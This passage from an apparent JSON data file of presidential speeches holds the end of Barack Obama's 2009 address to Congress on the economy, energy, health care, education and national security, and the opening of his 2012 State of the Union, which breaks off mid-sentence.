bought a house he could never hope to afford, but it will\nhelp millions of Americans who are struggling with declining home values --\nAmericans who will now be able to take advantage of the lower interest rates\nthat this plan has already helped bring about.  In fact, the average family\nwho re-finances today can save nearly $2000 per year on their mortgage.Third, we will act with the full force of the federal government to ensure\nthat the major banks that Americans depend on have enough confidence and\nenough money to lend even in more difficult times.  And when we learn that a\nmajor bank has serious problems, we will hold accountable those responsible,\nforce the necessary adjustments, provide the support to clean up their balance\nsheets, and assure the continuity of a strong, viable institution that can\nserve our people and our economy.I understand that on any given day, Wall Street may be more comforted by an\napproach that gives banks bailouts with no strings attached, and that holds\nnobody accountable for their reckless decisions.  But such an approach won't\nsolve the problem.  And our goal is to quicken the day when we re-start\nlending to the American people and American business and end this crisis once\nand for all.I intend to hold these banks fully accountable for the assistance they\nreceive, and this time, they will have to clearly demonstrate how taxpayer\ndollars result in more lending for the American taxpayer.  This time, CEOs\nwon't be able to use taxpayer money to pad their paychecks or buy fancy drapes\nor disappear on a private jet.  Those days are over.Still, this plan will require significant resources from the federal\ngovernment -- and yes, probably more than we've already set aside.  But while\nthe cost of action will be great, I can assure you that the cost of inaction\nwill be far greater, for it could result in an economy that sputters along for\nnot months or years, but perhaps a decade.  That would be worse for our\ndeficit, worse for business, worse for you, and worse for the next generation.\n And I refuse to let that happen.I understand that when the last administration asked this Congress to provide\nassistance for struggling banks, Democrats and Republicans alike were\ninfuriated by the mismanagement and results that followed.  So were the\nAmerican taxpayers.  So was I.So I know how unpopular it is to be seen as helping banks right now,\nespecially when everyone is suffering in part from their bad decisions.  I\npromise you -- I get it.But I also know that in a time of crisis, we cannot afford to govern out of\nanger, or yield to the politics of the moment.  My job -- our job -- is to\nsolve the problem.  Our job is to govern with a sense of responsibility.  I\nwill not spend a single penny for the purpose of rewarding a single Wall\nStreet executive, but I will do whatever it takes to help the small business\nthat can't pay its workers or the family that has saved and still can't get a\nmortgage.That's what this is about.  It's not about helping banks -- it's about helping\npeople.  Because when credit is available again, that young family can finally\nbuy a new home.  And then some company will hire workers to build it.  And\nthen those workers will have money to spend, and if they can get a loan too,\nmaybe they'll finally buy that car, or open their own business.  Investors\nwill return to the market, and American families will see their retirement\nsecured once more.  Slowly, but surely, confidence will return, and our\neconomy will recover.So I ask this Congress to join me in doing whatever proves necessary.  Because\nwe cannot consign our nation to an open-ended recession.  And to ensure that a\ncrisis of this magnitude never happens again, I ask Congress to move quickly\non legislation that will finally reform our outdated regulatory system.  It is\ntime to put in place tough, new common-sense rules of the road so that our\nfinancial market rewards drive and innovation, and punishes short-cuts and\nabuse.The recovery plan and the financial stability plan are the immediate steps\nwe're taking to revive our economy in the short-term.  But the only way to\nfully restore America's economic strength is to make the long-term investments\nthat will lead to new jobs, new industries, and a renewed ability to compete\nwith the rest of the world. The only way this century will be another American\ncentury is if we confront at last the price of our dependence on oil and the\nhigh cost of health care; the schools that aren't preparing our children and\nthe mountain of debt they stand to inherit.  That is our responsibility.In the next few days, I will submit a budget to Congress.  So often, we have\ncome to view these documents as simply numbers on a page or laundry lists of\nprograms.  I see this document differently.  I see it as a vision for America\n-- as a blueprint for our future.My budget does not attempt to solve every problem or address every issue.  It\nreflects the stark reality of what we've inherited -- a trillion dollar\ndeficit, a financial crisis, and a costly recession.Given these realities, everyone in this chamber -- Democrats and Republicans\n-- will have to sacrifice some worthy priorities for which there are no\ndollars.  And that includes me.But that does not mean we can afford to ignore our long-term challenges.  I\nreject the view that says our problems will simply take care of themselves;\nthat says government has no role in laying the foundation for our common\nprosperity.For history tells a different story.  History reminds us that at every moment\nof economic upheaval and transformation, this nation has responded with bold\naction and big ideas.  In the midst of civil war, we laid railroad tracks from\none coast to another that spurred commerce and industry.  From the turmoil of\nthe Industrial Revolution came a system of public high schools that prepared\nour citizens for a new age.  In the wake of war and depression, the GI Bill\nsent a generation to college and created the largest middle-class in history. \nAnd a twilight struggle for freedom led to a nation of highways, an American\non the moon, and an explosion of technology that still shapes our world.In each case, government didn't supplant private enterprise; it catalyzed\nprivate enterprise.  It created the conditions for thousands of entrepreneurs\nand new businesses to adapt and to thrive.We are a nation that has seen promise amid peril, and claimed opportunity from\nordeal.  Now we must be that nation again.  That is why, even as it cuts back\non the programs we don't need, the budget I submit will invest in the three\nareas that are absolutely critical to our economic future:  energy, health\ncare, and education.It begins with energy.We know the country that harnesses the power of clean, renewable energy will\nlead the 21st century.  And yet, it is China that has launched the largest\neffort in history to make their economy energy efficient.  We invented solar\ntechnology, but we've fallen behind countries like Germany and Japan in\nproducing it.  New plug-in hybrids roll off our assembly lines, but they will\nrun on batteries made in Korea.Well I do not accept a future where the jobs and industries of tomorrow take\nroot beyond our borders -- and I know you don't either.  It is time for\nAmerica to lead again.Thanks to our recovery plan, we will double this nation's supply of renewable\nenergy in the next three years.  We have also made the largest investment in\nbasic research funding in American history -- an investment that will spur not\nonly new discoveries in energy, but breakthroughs in medicine, science, and\ntechnology.We will soon lay down thousands of miles of power lines that can carry new\nenergy to cities and towns across this country.  And we will put Americans to\nwork making our homes and buildings more efficient so that we can save\nbillions of dollars on our energy bills.But to truly transform our economy, protect our security, and save our planet\nfrom the ravages of climate change, we need to ultimately make clean,\nrenewable energy the profitable kind of energy.  So I ask this Congress to\nsend me legislation that places a market-based cap on carbon pollution and\ndrives the production of more renewable energy in America.  And to support\nthat innovation, we will invest fifteen billion dollars a year to develop\ntechnologies like wind power and solar power; advanced biofuels, clean coal,\nand more fuel-efficient cars and trucks built right here in America.As for our auto industry, everyone recognizes that years of bad\ndecision-making and a global recession have pushed our automakers to the\nbrink.  We should not, and will not, protect them from their own bad\npractices.  But we are committed to the goal of a re-tooled, re-imagined auto\nindustry that can compete and win.  Millions of jobs depend on it.  Scores of\ncommunities depend on it.  And I believe the nation that invented the\nautomobile cannot walk away from it.None of this will come without cost, nor will it be easy.  But this is\nAmerica.  We don't do what's easy.  We do what is necessary to move this\ncountry forward.For that same reason, we must also address the crushing cost of health care.This is a cost that now causes a bankruptcy in America every thirty seconds. \nBy the end of the year, it could cause 1.5 million Americans to lose their\nhomes.  In the last eight years, premiums have grown four times faster than\nwages.  And in each of these years, one million more Americans have lost their\nhealth insurance.  It is one of the major reasons why small businesses close\ntheir doors and corporations ship jobs overseas.  And it's one of the largest\nand fastest-growing parts of our budget.Given these facts, we can no longer afford to put health care reform on hold.Already, we have done more to advance the cause of health care reform in the\nlast thirty days than we have in the last decade.  When it was days old, this\nCongress passed a law to provide and protect health insurance for eleven\nmillion American children whose parents work full-time.  Our recovery plan\nwill invest in electronic health records and new technology that will reduce\nerrors, bring down costs, ensure privacy, and save lives.  It will launch a\nnew effort to conquer a disease that has touched the life of nearly every\nAmerican by seeking a cure for cancer in our time.  And it makes the largest\ninvestment ever in preventive care, because that is one of the best ways to\nkeep our people healthy and our costs under control.This budget builds on these reforms.  It includes an historic commitment to\ncomprehensive health care reform -- a down-payment on the principle that we\nmust have quality, affordable health care for every American.  It's a\ncommitment that's paid for in part by efficiencies in our system that are long\noverdue.  And it's a step we must take if we hope to bring down our deficit in\nthe years to come.Now, there will be many different opinions and ideas about how to achieve\nreform, and that is why I'm bringing together businesses and workers, doctors\nand health care providers, Democrats and Republicans to begin work on this\nissue next week.I suffer no illusions that this will be an easy process.  It will be hard. \nBut I also know that nearly a century after Teddy Roosevelt first called for\nreform, the cost of our health care has weighed down our economy and the\nconscience of our nation long enough.  So let there be no doubt: health care\nreform cannot wait, it must not wait, and it will not wait another year.The third challenge we must address is the urgent need to expand the promise\nof education in America.In a global economy where the most valuable skill you can sell is your\nknowledge, a good education is no longer just a pathway to opportunity -- it\nis a pre-requisite.Right now, three-quarters of the fastest-growing occupations require more than\na high school diploma.  And yet, just over half of our citizens have that\nlevel of education.  We have one of the highest high school dropout rates of\nany industrialized nation.  And half of the students who begin college never\nfinish.This is a prescription for economic decline, because we know the countries\nthat out-teach us today will out-compete us tomorrow.  That is why it will be\nthe goal of this administration to ensure that every child has access to a\ncomplete and competitive education -- from the day they are born to the day\nthey begin a career.Already, we have made an historic investment in education through the economic\nrecovery plan.  We have dramatically expanded early childhood education and\nwill continue to improve its quality, because we know that the most formative\nlearning comes in those first years of life.  We have made college affordable\nfor nearly seven million more students.  And we have provided the resources\nnecessary to prevent painful cuts and teacher layoffs that would set back our\nchildren's progress.But we know that our schools don't just need more resources.  They need more\nreform.  That is why this budget creates new incentives for teacher\nperformance; pathways for advancement, and rewards for success.  We'll invest\nin innovative programs that are already helping schools meet high standards\nand close achievement gaps.  And we will expand our commitment to charter\nschools.It is our responsibility as lawmakers and educators to make this system work. \nBut it is the responsibility of every citizen to participate in it.  And so\ntonight, I ask every American to commit to at least one year or more of higher\neducation or career training.  This can be community college or a four-year\nschool; vocational training or an apprenticeship.  But whatever the training\nmay be, every American will need to get more than a high school diploma.  And\ndropping out of high school is no longer an option.  It's not just quitting on\nyourself, it's quitting on your country -- and this country needs and values\nthe talents of every American.  That is why we will provide the support\nnecessary for you to complete college and meet a new goal:  by 2020, America\nwill once again have the highest proportion of college graduates in the world.I know that the price of tuition is higher than ever, which is why if you are\nwilling to volunteer in your neighborhood or give back to your community or\nserve your country, we will make sure that you can afford a higher education. \nAnd to encourage a renewed spirit of national service for this and future\ngenerations, I ask this Congress to send me the bipartisan legislation that\nbears the name of Senator Orrin Hatch as well as an American who has never\nstopped asking what he can do for his country -- Senator Edward Kennedy.These education policies will open the doors of opportunity for our children. \nBut it is up to us to ensure they walk through them.  In the end, there is no\nprogram or policy that can substitute for a mother or father who will attend\nthose parent/teacher conferences, or help with homework after dinner, or turn\noff the TV, put away the video games, and read to their child.  I speak to you\nnot just as a President, but as a father when I say that responsibility for\nour children's education must begin at home.There is, of course, another responsibility we have to our children.  And that\nis the responsibility to ensure that we do not pass on to them a debt they\ncannot pay.  With the deficit we inherited, the cost of the crisis we face,\nand the long-term challenges we must meet, it has never been more important to\nensure that as our economy recovers, we do what it takes to bring this deficit\ndown.I'm proud that we passed the recovery plan free of earmarks, and I want to\npass a budget next year that ensures that each dollar we spend reflects only\nour most important national priorities.Yesterday, I held a fiscal summit where I pledged to cut the deficit in half\nby the end of my first term in office.  My administration has also begun to go\nline by line through the federal budget in order to eliminate wasteful and\nineffective programs.  As you can imagine, this is a process that will take\nsome time.  But we're starting with the biggest lines.  We have already\nidentified two trillion dollars in savings over the next decade.In this budget, we will end education programs that don't work and end direct\npayments to large agribusinesses that don't need them.  We'll eliminate the\nno-bid contracts that have wasted billions in Iraq, and reform our defense\nbudget so that we're not paying for Cold War-era weapons systems we don't use.\n We will root out the waste, fraud, and abuse in our Medicare program that\ndoesn't make our seniors any healthier, and we will restore a sense of\nfairness and balance to our tax code by finally ending the tax breaks for\ncorporations that ship our jobs overseas.In order to save our children from a future of debt, we will also end the tax\nbreaks for the wealthiest 2% of Americans.  But let me perfectly clear,\nbecause I know you'll hear the same old claims that rolling back these tax\nbreaks means a massive tax increase on the American people:  if your family\nearns less than $250,000 a year, you will not see your taxes increased a\nsingle dime.  I repeat: not one single dime.  In fact, the recovery plan\nprovides a tax cut -- that's right, a tax cut -- for 95% of working families. \nAnd these checks are on the way.To preserve our long-term fiscal health, we must also address the growing\ncosts in Medicare and Social Security.  Comprehensive health care reform is\nthe best way to strengthen Medicare for years to come.  And we must also begin\na conversation on how to do the same for Social Security, while creating\ntax-free universal savings accounts for all Americans.Finally, because we're also suffering from a deficit of trust, I am committed\nto restoring a sense of honesty and accountability to our budget.  That is why\nthis budget looks ahead ten years and accounts for spending that was left out\nunder the old rules -- and for the first time, that includes the full cost of\nfighting in Iraq and Afghanistan.  For seven years, we have been a nation at\nwar.  No longer will we hide its price.We are now carefully reviewing our policies in both wars, and I will soon\nannounce a way forward in Iraq that leaves Iraq to its people and responsibly\nends this war.And with our friends and allies, we will forge a new and comprehensive\nstrategy for Afghanistan and Pakistan to defeat al Qaeda and combat extremism.\n Because I will not allow terrorists to plot against the American people from\nsafe havens half a world away.As we meet here tonight, our men and women in uniform stand watch abroad and\nmore are readying to deploy. To each and every one of them, and to the\nfamilies who bear the quiet burden of their absence, Americans are united in\nsending one message: we honor your service, we are inspired by your sacrifice,\nand you have our unyielding support.  To relieve the strain on our forces, my\nbudget increases the number of our soldiers and Marines. And to keep our\nsacred trust with those who serve, we will raise their pay, and give our\nveterans the expanded health care and benefits that they have earned.To overcome extremism, we must also be vigilant in upholding the values our\ntroops defend -- because there is no force in the world more powerful than the\nexample of America. That is why I have ordered the closing of the detention\ncenter at Guantanamo Bay, and will seek swift and certain justice for captured\nterrorists -- because living our values doesn't make us weaker, it makes us\nsafer and it makes us stronger.  And that is why I can stand here tonight and\nsay without exception or equivocation that the United States of America does\nnot torture.In words and deeds, we are showing the world that a new era of engagement has\nbegun.  For we know that America cannot meet the threats of this century\nalone, but the world cannot meet them without America.  We cannot shun the\nnegotiating table, nor ignore the foes or forces that could do us harm.  We\nare instead called to move forward with the sense of confidence and candor\nthat serious times demand.To seek progress toward a secure and lasting peace between Israel and her\nneighbors, we have appointed an envoy to sustain our effort.  To meet the\nchallenges of the 21st century -- from terrorism to nuclear proliferation;\nfrom pandemic disease to cyber threats to crushing poverty -- we will\nstrengthen old alliances, forge new ones, and use all elements of our national\npower.And to respond to an economic crisis that is global in scope, we are working\nwith the nations of the G-20 to restore confidence in our financial system,\navoid the possibility of escalating protectionism, and spur demand for\nAmerican goods in markets across the globe.  For the world depends on us to\nhave a strong economy, just as our economy depends on the strength of the\nworld's.As we stand at this crossroads of history, the eyes of all people in all\nnations are once again upon us -- watching to see what we do with this moment;\nwaiting for us to lead.Those of us gathered here tonight have been called to govern in extraordinary\ntimes.  It is a tremendous burden, but also a great privilege -- one that has\nbeen entrusted to few generations of Americans.  For in our hands lies the\nability to shape our world for good or for ill.I know that it is easy to lose sight of this truth -- to become cynical and\ndoubtful; consumed with the petty and the trivial.But in my life, I have also learned that hope is found in unlikely places;\nthat inspiration often comes not from those with the most power or celebrity,\nbut from the dreams and aspirations of Americans who are anything but\nordinary.I think about Leonard Abess, the bank president from Miami who reportedly\ncashed out of his company, took a $60 million bonus, and gave it out to all\n399 people who worked for him, plus another 72 who used to work for him.  He\ndidn't tell anyone, but when the local newspaper found out, he simply said,\n\"I knew some of these people since I was 7 years old.  I didn't feel right\ngetting the money myself.\"I think about Greensburg, Kansas, a town that was completely destroyed by a\ntornado, but is being rebuilt by its residents as a global example of how\nclean energy can power an entire community -- how it can bring jobs and\nbusinesses to a place where piles of bricks and rubble once lay.  \"The tragedy\nwas terrible,\" said one of the men who helped them rebuild.  \"But the folks\nhere know that it also provided an incredible opportunity.\"And I think about Ty'Sheoma Bethea, the young girl from that school I visited\nin Dillon, South Carolina -- a place where the ceilings leak, the paint peels\noff the walls, and they have to stop teaching six times a day because the\ntrain barrels by their classroom.  She has been told that her school is\nhopeless, but the other day after class she went to the public library and\ntyped up a letter to the people sitting in this room.  She even asked her\nprincipal for the money to buy a stamp.  The letter asks us for help, and\nsays, \"We are just students trying to become lawyers, doctors, congressmen\nlike yourself and one day president, so we can make a change to not just the\nstate of South Carolina but also the world.  We are not quitters.\"We are not quitters.These words and these stories tell us something about the spirit of the people\nwho sent us here.  They tell us that even in the most trying times, amid the\nmost difficult circumstances, there is a generosity, a resilience, a decency,\nand a determination that perseveres; a willingness to take responsibility for\nour future and for posterity.Their resolve must be our inspiration.  Their concerns must be our cause.  And\nwe must show them and all our people that we are equal to the task before us.I know that we haven't agreed on every issue thus far, and there are surely\ntimes in the future when we will part ways.  But I also know that every\nAmerican who is sitting here tonight loves this country and wants it to\nsucceed.  That must be the starting point for every debate we have in the\ncoming months, and where we return after those debates are done.  That is the\nfoundation on which the American people expect us to build common ground.And if we do -- if we come together and lift this nation from the depths of\nthis crisis; if we put our people back to work and restart the engine of our\nprosperity; if we confront without fear the challenges of our time and summon\nthat enduring spirit of an America that does not quit, then someday years from\nnow our children can tell their children that this was the time when we\nperformed, in the words that are carved into this very chamber, \"something\nworthy to be remembered.\"  Thank you, God Bless you, and may God Bless the\nUnited States of America.", 
+    "name": "Barack Obama"
+}
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+{
+    "date": "January 24, 2012", 
+    "speech": "Mr. Speaker, Mr. Vice President, members of Congress, distinguished guests,\nand fellow Americans:Last month, I went to Andrews Air Force Base and welcomed home some of our\nlast troops to serve in Iraq. Together, we offered a final, proud salute to\nthe colors under which more than a million of our fellow citizens fought -- and\nseveral thousand gave their lives.We gather tonight knowing that this generation of heroes has made the United\nStates safer and more respected around the world. For the first time in nine\nyears, there are no Americans fighting in Iraq. For the first time in two\ndecades, Osama bin Laden is not a threat to this country. Most of al-Qaeda's\ntop lieutenants have been defeated. The Taliban's momentum has been broken,\nand some troops in Afghanistan have begun to come home.These achievements are a testament to the courage, selflessness, and teamwork\nof America's Armed Forces. At a time when too many of our institutions have\nlet us down, they exceed all expectations. They're not consumed with personal\nambition. They don't obsess over their differences. They focus on the mission\nat hand. They work together.Imagine what we could accomplish if we followed their example. Think about the\nAmerica within our reach: A country that leads the world in educating its\npeople. An America that attracts a new generation of high-tech manufacturing\nand high-paying jobs. A future where we're in control of our own energy, and\nour security and prosperity aren't so tied to unstable parts of the world. An\neconomy built to last, where hard work pays off, and responsibility is\nrewarded.We can do this. I know we can, because we've done it before. At the end of\nWorld War II, when another generation of heroes returned home from combat,\nthey built the strongest economy and middle class the world has ever known. My\ngrandfather, a veteran of Patton's Army, got the chance to go to college on\nthe GI Bill. My grandmother, who worked on a bomber assembly line, was part of\na workforce that turned out the best products on Earth.The two of them shared the optimism of a Nation that had triumphed over a\ndepression and fascism. They understood they were part of something larger;\nthat they were contributing to a story of success that every American had a\nchance to share -- the basic American promise that if you worked hard, you\ncould do well enough to raise a family, own a home, send your kids to college,\nand put a little away for retirement.The defining issue of our time is how to keep that promise alive. No challenge\nis more urgent. No debate is more important. We can either settle for a\ncountry where a shrinking number of people do really well, while a growing\nnumber of Americans barely get by. Or we can restore an economy where everyone\ngets a fair shot, everyone does their fair share, and everyone plays by the\nsame set of rules. What's at stake are not Democratic values or Republican\nvalues, but American values. We have to reclaim them.Let's remember how we got here. Long before the recession, jobs and\nmanufacturing began leaving our shores. Technology made businesses more\nefficient, but also made some jobs obsolete. Folks at the top saw their\nincomes rise like never before, but most hardworking Americans struggled with\ncosts that were growing, paychecks that weren't, and personal debt that kept\npiling up.In 2008, the house of cards collapsed. We learned that mortgages had been sold\nto people who couldn't afford or understand them. Banks had made huge bets and\nbonuses with other people's money. Regulators had looked the other way, or\ndidn't have the authority to stop the bad behavior.It was wrong. It was irresponsible. And it plunged our economy into a crisis\nthat put millions out of work, saddled us with more debt, and left innocent,\nhard-working Americans holding the bag. In the six months before I took\noffice, we lost nearly four million jobs. And we lost another four million\nbefore our policies were in full effect.Those are the facts. But so are these. In the last 22 months, businesses have\ncreated more than three million jobs. Last year, they created the most jobs\nsince 2005. American manufacturers are hiring again, creating jobs for the\nfirst time since the late 1990s. Together, we've agreed to cut the deficit by\nmore than $2 trillion. And we've put in place new rules to hold Wall Street\naccountable, so a crisis like that never happens again.The state of our Union is getting stronger. And we've come too far to turn\nback now. As long as I'm President, I will work with anyone in this chamber to\nbuild on this momentum. But I intend to fight obstruction with action, and I\nwill oppose any effort to return to the very same policies that brought on\nthis economic crisis in the first place.No, we will not go back to an economy weakened by outsourcing, bad debt, and\nphony financial profits. Tonight, I want to speak about how we move forward,\nand lay out a blueprint for an economy that's built to last -- an economy built\non American manufacturing, American energy, skills for American workers, and a\nrenewal of American values.This blueprint begins with American manufacturing.On the day I took office, our auto industry was on the verge of collapse. Some\neven said we should let it die. With a million jobs at stake, I refused to let\nthat happen. In exchange for help, we demanded responsibility. We got workers\nand automakers to settle their differences. We got the industry to retool and\nrestructure. Today, General Motors is back on top as the world's number one\nautomaker. Chrysler has grown faster in the U.S. than any major car company.\nFord is investing billions in U.S. plants and factories. And together, the\nentire industry added nearly 160,000 jobs.We bet on American workers. We bet on American ingenuity. And tonight, the\nAmerican auto industry is back.What's happening in Detroit can happen in other industries. It can happen in\nCleveland and Pittsburgh and Raleigh. We can't bring back every job that's\nleft our shores. But right now, it's getting more expensive to do business in\nplaces like China. Meanwhile, America is more productive. A few weeks ago, the\nCEO of Master Lock told me that it now makes business sense for him to bring\njobs back home. Today, for the first time in fifteen years, Master Lock's\nunionized plant in Milwaukee is running at full capacity.So we have a huge opportunity, at this moment, to bring manufacturing back.\nBut we have to seize it. Tonight, my message to business leaders is simple:\nAsk yourselves what you can do to bring jobs back to your country, and your\ncountry will do everything we can to help you succeed.We should start with our tax code. Right now, companies get tax breaks for\nmoving jobs and profits overseas. Meanwhile, companies that choose to stay in\nAmerica get hit with one of the highest tax rates in the world. It makes no\nsense, and everyone knows it.So let's change it. First, if you're a business that wants to outsource jobs,\nyou shouldn't get a tax deduction for doing it. That money should be used to\ncover moving expenses for companies like Master Lock that decide to bring jobs\nhome.Second, no American company should be able to avoid paying its fair share of\ntaxes by moving jobs and profits overseas. From now on, every multinational\ncompany should have to pay a basic minimum tax. And every penny should go\ntowards lowering taxes for companies that choose to stay here and hire here.Third, if you're an American manufacturer, you should get a bigger tax cut. If\nyou're a high-tech manufacturer, we should double the tax deduction you get\nfor making products here. And if you want to relocate in a community that was\nhit hard when a factory left town, you should get help financing a new plant,\nequipment, or training for new workers.My message is simple. It's time to stop rewarding businesses that ship jobs\noverseas, and start rewarding companies that create jobs right here in\nAmerica. Send me these tax reforms, and I'll sign them right away.We're also making it easier for American businesses to sell products all over\nthe world. Two years ago, I set a goal of doubling U.S. exports over five\nyears. With the bipartisan trade agreements I signed into law, we are on track\nto meet that goal -- ahead of schedule. Soon, there will be millions of new\ncustomers for American goods in Panama, Colombia, and South Korea. Soon, there\nwill be new cars on the streets of Seoul imported from Detroit, and Toledo,\nand Chicago.I will go anywhere in the world to open new markets for American products. And\nI will not stand by when our competitors don't play by the rules. We've\nbrought trade cases against China at nearly twice the rate as the last\nadministration -- and it's made a difference. Over a thousand Americans are\nworking today because we stopped a surge in Chinese tires. But we need to do\nmore. It's not right when another country lets our movies, music, and software\nbe pirated. It's not fair when foreign manufacturers have a leg up on ours\nonly because they're heavily subsidized.Tonight, I'm announcing the creation of a Trade Enforcement Unit that will be\ncharged with investigating unfair trade practices in countries like China.\nThere will be more inspections to prevent counterfeit or unsafe goods from\ncrossing our borders. And this Congress should make sure that no foreign\ncompany has an advantage over American manufacturing when it comes to\naccessing finance or new markets like Russia. Our workers are the most\nproductive on Earth, and if the playing field is level, I promise you --\nAmerica will always win.I also hear from many business leaders who want to hire in the United States\nbut can't find workers with the right skills. Growing industries in science\nand technology have twice as many openings as we have workers who can do the\njob. Think about that -- openings at a time when millions of Americans are\nlooking for work.That's inexcusable. And we know how to fix it.Jackie Bray is a single mom from North Carolina who was laid off from her job\nas a mechanic. Then Siemens opened a gas turbine factory in Charlotte, and\nformed a partnership with Central Piedmont Community College. The company\nhelped the college design courses in laser and robotics training. It paid\nJackie's tuition, then hired her to help operate their plant.I want every American looking for work to have the same opportunity as Jackie\ndid. Join me in a national commitment to train two million Americans with\nskills that will lead directly to a job. My Administration has already lined\nup more companies that want to help. Model partnerships between businesses\nlike Siemens and community colleges in places like Charlotte, Orlando, and\nLouisville are up and running. Now you need to give more community colleges\nthe resources they need to become community career centers -- places that teach\npeople skills that local businesses are looking for right now, from data\nmanagement to high-tech manufacturing.And I want to cut through the maze of confusing training programs, so that\nfrom now on, people like Jackie have one program, one website, and one place\nto go for all the information and help they need. It's time to turn our\nunemployment system into a reemployment system that puts people to work.These reforms will help people get jobs that are open today. But to prepare\nfor the jobs of tomorrow, our commitment to skills and education has to start\nearlier.For less than one percent of what our Nation spends on education each year,\nwe've convinced nearly every State in the country to raise their standards for\nteaching and learning -- the first time that's happened in a generation.But challenges remain. And we know how to solve them.At a time when other countries are doubling down on education, tight budgets\nhave forced States to lay off thousands of teachers. We know a good teacher\ncan increase the lifetime income of a classroom by over $250,000. A great\nteacher can offer an escape from poverty to the child who dreams beyond his\ncircumstance. Every person in this chamber can point to a teacher who changed\nthe trajectory of their lives. Most teachers work tirelessly, with modest pay,\nsometimes digging into their own pocket for school supplies -- just to make a\ndifference.Teachers matter. So instead of bashing them, or defending the status quo,\nlet's offer schools a deal. Give them the resources to keep good teachers on\nthe job, and reward the best ones. In return, grant schools flexibility: To\nteach with creativity and passion; to stop teaching to the test; and to\nreplace teachers who just aren't helping kids learn.We also know that when students aren't allowed to walk away from their\neducation, more of them walk the stage to get their diploma. So tonight, I\ncall on every State to require that all students stay in high school until\nthey graduate or turn eighteen.When kids do graduate, the most daunting challenge can be the cost of college.\nAt a time when Americans owe more in tuition debt than credit card debt, this\nCongress needs to stop the interest rates on student loans from doubling in\nJuly. Extend the tuition tax credit we started that saves middle-class\nfamilies thousands of dollars. And give more young people the chance to earn\ntheir way through college by doubling the number of work-study jobs in the\nnext five years.Of course, it's not enough for us to increase student aid. We can't just keep\nsubsidizing skyrocketing tuition; we'll run out of money. States also need to\ndo their part, by making higher education a higher priority in their budgets.\nAnd colleges and universities have to do their part by working to keep costs\ndown. Recently, I spoke with a group of college presidents who've done just\nthat. Some schools re-design courses to help students finish more quickly.\nSome use better technology. The point is, it's possible. So let me put\ncolleges and universities on notice: If you can't stop tuition from going up,\nthe funding you get from taxpayers will go down. Higher education can't be a\nluxury -- it's an economic imperative that every family in America should be\nable to afford.Let's also remember that hundreds of thousands of talented, hardworking\nstudents in this country face another challenge: The fact that they aren't yet\nAmerican citizens. Many were brought here as small children, are American\nthrough and through, yet they live every day with the threat of deportation.\nOthers came more recently, to study business and science and engineering, but\nas soon as they get their degree, we send them home to invent new products and\ncreate new jobs somewhere else.That doesn't make sense.I believe as strongly as ever that we should take on illegal immigration.\nThat's why my Administration has put more boots on the border than ever\nbefore. That's why there are fewer illegal crossings than when I took office.The opponents of action are out of excuses. We should be working on\ncomprehensive immigration reform right now. But if election-year politics\nkeeps Congress from acting on a comprehensive plan, let's at least agree to\nstop expelling responsible young people who want to staff our labs, start new\nbusinesses, and defend this country. Send me a law that gives them the chance\nto earn their citizenship. I will sign it right away.You see, an economy built to last is one where we encourage the talent and\ningenuity of every person in this country. That means women should earn equal\npay for equal work. It means we should support everyone who's willing to work;\nand every risk-taker and entrepreneur who aspires to become the next Steve\nJobs.After all, innovation is what America has always been about. Most new jobs are\ncreated in start-ups and small businesses. So let's pass an agenda that helps\nthem succeed. Tear down regulations that prevent aspiring entrepreneurs from\ngetting the financing to grow. Expand tax relief to small businesses that are\nraising wages and creating good jobs. Both parties agree on these ideas. So\nput them in a bill, and get it on my desk this year.Innovation also demands basic research. Today, the discoveries taking place in\nour federally-financed labs and universities could lead to new treatments that\nkill cancer cells but leave healthy ones untouched. New lightweight vests for\ncops and soldiers that can stop any bullet. Don't gut these investments in our\nbudget. Don't let other countries win the race for the future. Support the\nsame kind of research and innovation that led to the computer chip and the\nInternet; to new American jobs and new American industries.Nowhere is the promise of innovation greater than in American-made energy.\nOver the last three years, we've opened millions of new acres for oil and gas\nexploration, and tonight, I'm directing my Administration to open more than 75\npercent of our potential offshore oil and gas resources. Right now, American\noil production is the highest that it's been in eight years. That's right --\neight years. Not only that -- last year, we relied less on foreign oil than in\nany of the past sixteen years.But with only 2 percent of the world's oil reserves, oil isn't enough. This\ncountry needs an all-out, all-of-the-above strategy that develops every\navailable source of American energy -- a strategy that's cleaner, cheaper, and\nfull of new jobs.We have a supply of natural gas that can last America nearly one hundred\nyears, and my Administration will take every possible action to safely develop\nthis energy. Experts believe this will support more than 600,000 jobs by the\nend of the decade. And I'm requiring all companies that drill for gas on\npublic lands to disclose the chemicals they use. America will develop this\nresource without putting the health and safety of our citizens at risk.The development of natural gas will create jobs and power trucks and factories\nthat are cleaner and cheaper, proving that we don't have to choose between our\nenvironment and our economy. And by the way, it was public research dollars,\nover the course of thirty years, that helped develop the technologies to\nextract all this natural gas out of shale rock -- reminding us that Government\nsupport is critical in helping businesses get new energy ideas off the ground.What's true for natural gas is true for clean energy. In three years, our\npartnership with the private sector has already positioned America to be the\nworld's leading manufacturer of high-tech batteries. Because of federal\ninvestments, renewable energy use has nearly doubled. And thousands of\nAmericans have jobs because of it.When Bryan Ritterby was laid off from his job making furniture, he said he\nworried that at 55, no one would give him a second chance. But he found work\nat Energetx, a wind turbine manufacturer in Michigan. Before the recession,\nthe factory only made luxury yachts. Today, it's hiring workers like Bryan,\nwho said, \"I'm proud to be working in the industry of the future.\"Our experience with shale gas shows us that the payoffs on these public\ninvestments don't always come right away. Some technologies don't pan out;\nsome companies fail. But I will not walk away from the promise of clean\nenergy. I will not walk away from workers like Bryan. I will not cede the wind\nor solar or battery industry to China or Germany because we refuse to make the\nsame commitment here. We have subsidized oil companies for a century. That's\nlong enough. It's time to end the taxpayer giveaways to an industry that's\nrarely been more profitable, and double-down on a clean energy industry that's\nnever been more promising. Pass clean energy tax credits and create these\njobs.We can also spur energy innovation with new incentives. The differences in\nthis chamber may be too deep right now to pass a comprehensive plan to fight\nclimate change. But there's no reason why Congress shouldn't at least set a\nclean energy standard that creates a market for innovation. So far, you\nhaven't acted. Well tonight, I will. I'm directing my Administration to allow\nthe development of clean energy on enough public land to power three million\nhomes. And I'm proud to announce that the Department of Defense, the world's\nlargest consumer of energy, will make one of the largest commitments to clean\nenergy in history -- with the Navy purchasing enough capacity to power a\nquarter of a million homes a year.Of course, the easiest way to save money is to waste less energy. So here's\nanother proposal: Help manufacturers eliminate energy waste in their factories\nand give businesses incentives to upgrade their buildings. Their energy bills\nwill be $100 billion lower over the next decade, and America will have less\npollution, more manufacturing, and more jobs for construction workers who need\nthem. Send me a bill that creates these jobs.Building this new energy future should be just one part of a broader agenda to\nrepair America's infrastructure. So much of America needs to be rebuilt. We've\ngot crumbling roads and 